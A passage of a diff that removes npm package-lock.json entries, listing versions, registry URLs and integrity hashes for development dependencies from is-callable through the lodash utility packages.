- "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", - "dev": true, - "requires": { - "builtin-modules": "^1.0.0" - } - }, - "is-callable": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.4.tgz", - "integrity": "sha512-r5p9sxJjYnArLjObpjA4xu5EKI3CuKHkJXMhT7kwbpUyIFD1n5PMAsoPvWnvtZiNz7LjkYDRZhd7FlI0eMijEA==", - "dev": true - }, - "is-color-stop": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-color-stop/-/is-color-stop-1.1.0.tgz", - "integrity": "sha1-z/9HGu5N1cnhWFmPvhKWe1za00U=", - "dev": true, - "requires": { - "css-color-names": "^0.0.4", - "hex-color-regex": "^1.1.0", - "hsl-regex": "^1.0.0", - "hsla-regex": "^1.0.0", - "rgb-regex": "^1.0.1", - "rgba-regex": "^1.0.0" - } - }, - "is-core-module": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.3.0.tgz", - "integrity": "sha512-xSphU2KG9867tsYdLD4RWQ1VqdFl4HTO9Thf3I/3dLEfr0dbPTWKsuCKrgqMljg4nPE+Gq0VCnzT3gr0CyBmsw==", - "dev": true, - "requires": { - "has": "^1.0.3" - } - }, - "is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - } - }, - "is-date-object": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.1.tgz", - "integrity": "sha1-mqIOtq7rv/d/vTPnTKAbM1gdOhY=", - "dev": true - }, - "is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - }, - "dependencies": { - "kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true - } - } - }, - "is-directory": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/is-directory/-/is-directory-0.3.1.tgz", - "integrity": "sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=", - "dev": true - }, - "is-dotfile": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/is-dotfile/-/is-dotfile-1.0.3.tgz", - "integrity": "sha1-pqLzL/0t+wT1yiXs0Pa4PPeYoeE=", - "dev": true - }, - "is-equal-shallow": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/is-equal-shallow/-/is-equal-shallow-0.1.3.tgz", - "integrity": "sha1-IjgJj8Ih3gvPpdnqxMRdY4qhxTQ=", - "dev": true, - "requires": { - "is-primitive": "^2.0.0" - } - }, - "is-expression": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-expression/-/is-expression-4.0.0.tgz", - "integrity": "sha512-zMIXX63sxzG3XrkHkrAPvm/OVZVSCPNkwMHU8oTX7/U3AL78I0QXCEICXUM13BIa8TYGZ68PiTKfQz3yaTNr4A==", - "dev": true, - "requires": { - "acorn": "^7.1.1", - "object-assign": "^4.1.1" - } - }, - "is-extendable": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", - "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", - "dev": true - }, - "is-extglob": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz", - "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=", - "dev": true - }, - "is-finite": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.0.2.tgz", - "integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=", - "dev": true, - "requires": { - "number-is-nan": "^1.0.0" - } - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", - "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", - "dev": true, - "requires": { - "number-is-nan": "^1.0.0" - } - }, - "is-glob": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz", - "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", - "dev": true, - "requires": { - "is-extglob": "^1.0.0" - } - }, - "is-number": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz", - "integrity": "sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - } - }, - "is-obj": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", - "integrity": "sha1-PkcprB9f3gJc19g6iW2rn09n2w8=", - "dev": true - }, - "is-path-cwd": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-1.0.0.tgz", - "integrity": "sha1-0iXsIxMuie3Tj9p2dHLmLmXxEG0=", - "dev": true - }, - "is-path-in-cwd": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-1.0.1.tgz", - "integrity": "sha512-FjV1RTW48E7CWM7eE/J2NJvAEEVektecDBVBE5Hh3nM1Jd0kvhHtX68Pr3xsDf857xt3Y4AkwVULK1Vku62aaQ==", - "dev": true, - "requires": { - "is-path-inside": "^1.0.0" - } - }, - "is-path-inside": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.1.tgz", - "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=", - "dev": true, - "requires": { - "path-is-inside": "^1.0.1" - } - }, - "is-plain-obj": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", - "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", - "dev": true - }, - "is-plain-object": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", - "integrity": "sha1-LBY7P6+xtgbZ0Xko8FwqHDjgdnc=", - "dev": true, - "requires": { - "isobject": "^3.0.1" - }, - "dependencies": { - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "is-posix-bracket": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/is-posix-bracket/-/is-posix-bracket-0.1.1.tgz", - "integrity": "sha1-MzTceXdDaOkvAW5vvAqI9c1ua8Q=", - "dev": true - }, - "is-primitive": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", - "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", - "dev": true - }, - "is-promise": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.1.0.tgz", - "integrity": "sha1-eaKp7OfwlugPNtKy87wWwf9L8/o=", - "dev": true - }, - "is-regex": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.0.4.tgz", - "integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=", - "dev": true, - "requires": { - "has": "^1.0.1" - } - }, - "is-resolvable": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz", - "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==", - "dev": true - }, - "is-stream": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", - "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=", - "dev": true - }, - "is-svg": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-svg/-/is-svg-2.1.0.tgz", - "integrity": "sha1-z2EJDaDZ77yrhyLeum8DIgjbsOk=", - "dev": true, - "requires": { - "html-comment-regex": "^1.1.0" - } - }, - "is-symbol": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.1.tgz", - "integrity": "sha1-PMWfAAJRlLarLjjbrmaJJWtmBXI=", - "dev": true - }, - "is-typedarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", - "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", - "dev": true - }, - "is-utf8": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", - "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", - "dev": true - }, - "is-windows": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", - "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", - "dev": true - }, - "is-wsl": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz", - "integrity": "sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=", - "dev": true - }, - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - }, - "isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", - "dev": true - }, - "isobject": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", - "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", - "dev": true, - "requires": { - "isarray": "1.0.0" - } - }, - "isomorphic-fetch": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", - "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", - "dev": true, - "requires": { - "node-fetch": "^1.0.1", - "whatwg-fetch": ">=0.10.0" - } - }, - "isstream": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", - "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", - "dev": true - }, - "jed": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/jed/-/jed-1.1.1.tgz", - "integrity": "sha1-elSbvZ/+FYWwzQoZHiAwVb7ldLQ=", - "dev": true - }, - "jquery": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.3.1.tgz", - "integrity": "sha512-Ubldcmxp5np52/ENotGxlLe6aGMvmF4R8S6tZjsP6Knsaxd/xp3Zrh50cG93lR6nPXyUFwzN3ZSOQI0wRJNdGg==" - }, - "jquery-timepicker": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/jquery-timepicker/-/jquery-timepicker-1.3.3.tgz", - "integrity": "sha1-A0FgyQpSYZ32iWPtp2JdH8qJy3o=", - "requires": { - "jquery": ">= 1.4.3" - } - }, - "js-base64": { - "version": "2.4.5", - "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.4.5.tgz", - "integrity": "sha512-aUnNwqMOXw3yvErjMPSQu6qIIzUmT1e5KcU1OZxRDU1g/am6mzBvcrmLAYwzmB59BHPrh5/tKaiF4OPhqRWESQ==", - "dev": true - }, - "js-beautify": { - "version": "1.10.1", - "resolved": "https://registry.npmjs.org/js-beautify/-/js-beautify-1.10.1.tgz", - "integrity": "sha512-4y8SHOIRC+/YQ2gs3zJEKBUraQerq49FJYyXRpdzUGYQzCq8q9xtIh0YXial1S5KmonVui4aiUb6XaGyjE51XA==", - "dev": true, - "requires": { - "config-chain": "^1.1.12", - "editorconfig": "^0.15.3", - "glob": "^7.1.3", - "mkdirp": "~0.5.1", - "nopt": "~4.0.1" - }, - "dependencies": { - "glob": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.4.tgz", - "integrity": "sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "nopt": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-4.0.1.tgz", - "integrity": "sha1-0NRoWv1UFRk8jHUFYC0NF81kR00=", - "dev": true, - "requires": { - "abbrev": "1", - "osenv": "^0.1.4" - } - } - } - }, - "js-stringify": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz", - "integrity": "sha1-Fzb939lyTyijaCrcYjCufk6Weds=", - "dev": true - }, - "js-tokens": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz", - "integrity": "sha1-mGbfOVECEw449/mWvOtlRDIJwls=" - }, - "js-yaml": { - "version": "3.7.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.7.0.tgz", - "integrity": "sha1-XJZ93YN6m/3KXy3oQlOr6KHAO4A=", - "dev": true, - "requires": { - "argparse": "^1.0.7", - "esprima": "^2.6.0" - } - }, - "js2xmlparser": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-3.0.0.tgz", - "integrity": "sha1-P7YOqgicVED5MZ9RdgzNB+JJlzM=", - "dev": true, - "requires": { - "xmlcreate": "^1.0.1" - } - }, - "jsbn": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", - "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", - "dev": true, - "optional": true - }, - "jsesc": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-1.3.0.tgz", - "integrity": "sha1-RsP+yMGJKxKwgz25vHYiF226s0s=", - "dev": true - }, - "json-loader": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/json-loader/-/json-loader-0.5.7.tgz", - "integrity": "sha512-QLPs8Dj7lnf3e3QYS1zkCo+4ZwqOiF9d/nZnYozTISxXWCfNs9yuky5rJw4/W34s7POaNlbZmQGaB5NiXCbP4w==", - "dev": true - }, - "json-parse-better-errors": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", - "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", - "dev": true - }, - "json-schema": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", - "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", - "dev": true - }, - "json-schema-traverse": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz", - "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=", - "dev": true - }, - "json-stable-stringify": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-0.0.1.tgz", - "integrity": "sha1-YRwj6BTbN1Un34URk9tZ3Sryf0U=", - "dev": true, - "requires": { - "jsonify": "~0.0.0" - } - }, - "json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", - "dev": true - }, - "json-stringify-safe": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", - "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", - "dev": true - }, - "json2php": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/json2php/-/json2php-0.0.4.tgz", - "integrity": "sha1-a9haHdpqXdfpECK7JEA8wbfC7jQ=", - "dev": true - }, - "json5": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-0.5.1.tgz", - "integrity": "sha1-Hq3nrMASA0rYTiOWdn6tn6VJWCE=", - "dev": true - }, - "jsonfile": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", - "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.6" - } - }, - "jsonify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", - "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=", - "dev": true - }, - "jsonparse": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", - "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=", - "dev": true - }, - "JSONStream": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.3.tgz", - "integrity": "sha512-3Sp6WZZ/lXl+nTDoGpGWHEpTnnC6X5fnkolYZR6nwIfzbxxvA8utPWe1gCt7i0m9uVGsSz2IS8K8mJ7HmlduMg==", - "dev": true, - "requires": { - "jsonparse": "^1.2.0", - "through": ">=2.2.7 <3" - } - }, - "jsprim": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", - "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", - "dev": true, - "requires": { - "assert-plus": "1.0.0", - "extsprintf": "1.3.0", - "json-schema": "0.2.3", - "verror": "1.10.0" - } - }, - "jstransformer": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz", - "integrity": "sha1-7Yvwkh4vPx7U1cGkT2hwntJHIsM=", - "dev": true, - "requires": { - "is-promise": "^2.0.0", - "promise": "^7.0.1" - } - }, - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - }, - "labeled-stream-splicer": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/labeled-stream-splicer/-/labeled-stream-splicer-2.0.1.tgz", - "integrity": "sha512-MC94mHZRvJ3LfykJlTUipBqenZz1pacOZEMhhQ8dMGcDHs0SBE5GbsavUXV7YtP3icBW17W0Zy1I0lfASmo9Pg==", - "dev": true, - "requires": { - "inherits": "^2.0.1", - "isarray": "^2.0.4", - "stream-splicer": "^2.0.0" - }, - "dependencies": { - "isarray": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.4.tgz", - "integrity": "sha512-GMxXOiUirWg1xTKRipM0Ek07rX+ubx4nNVElTJdNLYmNO/2YrDkgJGw9CljXn+r4EWiDQg/8lsRdHyg2PJuUaA==", - "dev": true - } - } - }, - "last-call-webpack-plugin": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/last-call-webpack-plugin/-/last-call-webpack-plugin-3.0.0.tgz", - "integrity": "sha512-7KI2l2GIZa9p2spzPIVZBYyNKkN+e/SQPpnjlTiPhdbDW3F86tdKKELxKpzJ5sgU19wQWsACULZmpTPYHeWO5w==", - "dev": true, - "requires": { - "lodash": "^4.17.5", - "webpack-sources": "^1.1.0" - } - }, - "lazy-cache": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-1.0.4.tgz", - "integrity": "sha1-odePw6UEdMuAhF07O24dpJpEbo4=", - "dev": true - }, - "lazystream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.0.tgz", - "integrity": "sha1-9plf4PggOS9hOWvolGJAe7dxaOQ=", - "dev": true, - "requires": { - "readable-stream": "^2.0.5" - } - }, - "lcid": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", - "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", - "dev": true, - "requires": { - "invert-kv": "^1.0.0" - } - }, - "less": { - "version": "3.7.1", - "resolved": "https://registry.npmjs.org/less/-/less-3.7.1.tgz", - "integrity": "sha512-Cmf5XJlzNklkBC8eAa+Ef16AHUBAkApHNAw3x9Vmn84h2BvGrri5Id7kf6H1n6SN74Fc0WdHIRPlFMxsl0eJkA==", - "dev": true, - "requires": { - "errno": "^0.1.1", - "graceful-fs": "^4.1.2", - "image-size": "~0.5.0", - "mime": "^1.4.1", - "mkdirp": "^0.5.0", - "promise": "^7.1.1", - "request": "^2.83.0", - "source-map": "~0.6.0" - }, - "dependencies": { - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "optional": true - } - } - }, - "less-loader": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/less-loader/-/less-loader-4.1.0.tgz", - "integrity": "sha512-KNTsgCE9tMOM70+ddxp9yyt9iHqgmSs0yTZc5XH5Wo+g80RWRIYNqE58QJKm/yMud5wZEvz50ugRDuzVIkyahg==", - "dev": true, - "requires": { - "clone": "^2.1.1", - "loader-utils": "^1.1.0", - "pify": "^3.0.0" - }, - "dependencies": { - "clone": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.1.tgz", - "integrity": "sha1-0hfR6WERjjrJpLi7oyhVU79kfNs=", - "dev": true - }, - "pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", - "dev": true - } - } - }, - "leven": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", - "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", - "dev": true - }, - "levenary": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/levenary/-/levenary-1.1.1.tgz", - "integrity": "sha512-mkAdOIt79FD6irqjYSs4rdbnlT5vRonMEvBVPVb3XmevfS8kgRXwfes0dhPdEtzTWD/1eNE/Bm/G1iRt6DcnQQ==", - "dev": true, - "requires": { - "leven": "^3.1.0" - } - }, - "levn": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", - "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", - "dev": true, - "requires": { - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2" - } - }, - "livereload-js": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/livereload-js/-/livereload-js-2.3.0.tgz", - "integrity": "sha512-j1R0/FeGa64Y+NmqfZhyoVRzcFlOZ8sNlKzHjh4VvLULFACZhn68XrX5DFg2FhMvSMJmROuFxRSa560ECWKBMg==", - "dev": true - }, - "load-json-file": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", - "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "parse-json": "^2.2.0", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0", - "strip-bom": "^2.0.0" - } - }, - "loader-fs-cache": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/loader-fs-cache/-/loader-fs-cache-1.0.1.tgz", - "integrity": "sha1-VuC/CL2XCLJqdltoUJhAyN7J/bw=", - "dev": true, - "requires": { - "find-cache-dir": "^0.1.1", - "mkdirp": "0.5.1" - }, - "dependencies": { - "find-cache-dir": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-0.1.1.tgz", - "integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=", - "dev": true, - "requires": { - "commondir": "^1.0.1", - "mkdirp": "^0.5.1", - "pkg-dir": "^1.0.0" - } - }, - "pkg-dir": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-1.0.0.tgz", - "integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=", - "dev": true, - "requires": { - "find-up": "^1.0.0" - } - } - } - }, - "loader-runner": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.0.tgz", - "integrity": "sha1-9IKuqC1UPgeSFwDVpG7yb9rGuKI=", - "dev": true - }, - "loader-utils": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", - "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", - "dev": true, - "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" - } - }, - "locate-path": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", - "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", - "dev": true, - "requires": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" - }, - "dependencies": { - "path-exists": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", - "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", - "dev": true - } - } - }, - "lodash": { - "version": "4.17.19", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", - "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==", - "dev": true - }, - "lodash.camelcase": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", - "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=", - "dev": true - }, - "lodash.debounce": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", - "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=", - "dev": true - }, - "lodash.defaults": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", - "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=", - "dev": true - }, - "lodash.difference": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz", - "integrity": "sha1-nMtOUF1Ia5FlE0V3KIWi3yf9AXw=", - "dev": true - }, - "lodash.flatten": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", - "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=", - "dev": true - }, - "lodash.isplainobject": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", - "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=", - "dev": true - }, - "lodash.memoize": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-3.0.4.tgz", - "integrity": "sha1-LcvSwofLwKVcxCMovQxzYVDVPj8=", - "dev": true - }, - "lodash.merge": { - "version": "4.6.2", - "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", - "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", - "dev": true - }, - "lodash.tail": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/lodash.tail/-/lodash.tail-4.1.1.tgz", - "integrity": "sha1-0jM6NtnncXyK0vfKyv7HwytERmQ=", - "dev": true - }, - "lodash.throttle": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", - "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=" - }, - "lodash.union": { - "version": "4.6.0", - "resolved": 